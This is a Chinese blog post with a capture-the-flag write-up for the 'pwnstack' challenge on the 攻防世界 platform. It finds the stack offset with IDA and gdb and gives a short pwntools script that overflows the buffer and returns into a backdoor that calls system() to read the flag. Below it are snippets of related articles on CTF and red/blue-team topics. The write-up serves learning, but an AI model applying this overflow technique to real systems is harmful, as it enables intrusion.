攻防世界pwn难度1

news/2024/11/15 6:01:46/

1.pwnstack

首先用IDA进行静态分析

可以看到有一个输入函数

后门函数,直接执行system()

 记下函数地址

0x400762

gdb动态分析 

 走到read函数的位置输入后查看栈

 

b8 - 10 = 168

需要输入168个字节,再用backdoor的地址覆盖main+34的返回地址即可

编写脚本

from pwn import *
context(log_level='debug',arch='i386', os='linux')
io = remote('地址', 端口)padding = 168  
pause()return_addr = 0x400762
payload = b'a'* padding + p64(return_addr)
delimiter = 'that??'
io.sendlineafter(delimiter, payload)
io.interactive()

 最后 cat flag


http://www.ppmy.cn/news/646971.html

相关文章

XTUOJ-1041-狼群战术

题目 Description 二战中德军潜艇使用狼群战术使得盟军的运输线遭受重大的损失。盟军截获了德军潜艇的通信电报,但电报显然是加了密的,经过盟军解密人员和情报人员的努力,终于解密了德军的密码,其编码方式如下:使用一个…

【攻防世界 level0】

题目链接 攻防世界 level0 pwn区 工具说明 pwngdb IDA pro python3 1 checksec pwbgdb 自带checksec功能,用法 gdb ./www checksec发现有NX Enable NX详解 2 在终端察看此文件为多少位的 格式 file www据此知道此为64位程序,因此用64位IDA Pro 分…

攻防世界-WEB-10/6练习

fileinclude 打开题目发现php代码,发现cookie处存在文件包含漏洞 <?php if( !ini_get(display_errors) ) {ini_set(display_errors, On);} error_reporting(E_ALL); $lan $_COOKIE[language]; if(!$lan) {setcookie("language","english");include(…

攻防比赛中蓝队常用的攻击方法

蓝队常用的攻击手段 在实战过程中&#xff0c;蓝队专家根据实战攻防演练的任务特点逐渐总结 出一套成熟的做法&#xff1a;外网纵向突破重点寻找薄弱点&#xff0c;围绕薄弱点&#xff0c;利 用各种攻击手段实现突破&#xff1b;内网横向拓展以突破点为支点&#xff0c;利用各…

如何提高蓝队在实战攻防演习中的防御水平?

重新认识蓝队体系 背景 随着近几年复杂国际形势的大背景和国内护网活动的锤炼&#xff0c;传统的安全运维/服务类解决方案在面临新的挑战和要求下显得捉襟见肘&#xff0c;日渐吃力。越来越多的组织开始引入红队服务来寻求对信息系统的更接近实战的威胁评估。与此同时&#x…

军团的崛起:利用多态指挥多兵种作战

军团的崛起 军团的崛起 利用多态指挥多兵种作战 1.军团类Army中的数组group存储着组成军团的战斗单位,它的构造函数随机地创建坦克\潜艇\加油车\修理车等对象,数量由其参数指定.方法getSelected根据参数,返回数组的第i个元素.随机数的类是Random. 2.坦克\潜艇\加油车\修理车…

七人制足球战术

闲来无事,研究研究. 一&#xff0e;七人制足球战术   1、后位锅状站位   7人场一般有三个后位   拖后中位是核心   三个后位站位呈锅状  中位是锅底   两位边后位要注意站得靠前一点 (两边后卫就是锅耳,wild wind 按)   一旦对方前锋渗入边卫和中卫之间   中卫…

hw蓝队防守技战法

一、备战阶段——知彼知己&#xff0c;百战不殆 “未知攻&#xff0c;焉知防”。如果企业安全部门不了解攻击者的攻击思路、常用手段&#xff0c;有效的防守将无从谈起。从攻击者实战视角去加强自身防护能力&#xff0c;将是未来的主流防护思想。 红队眼中的防守弱点 1.梳理…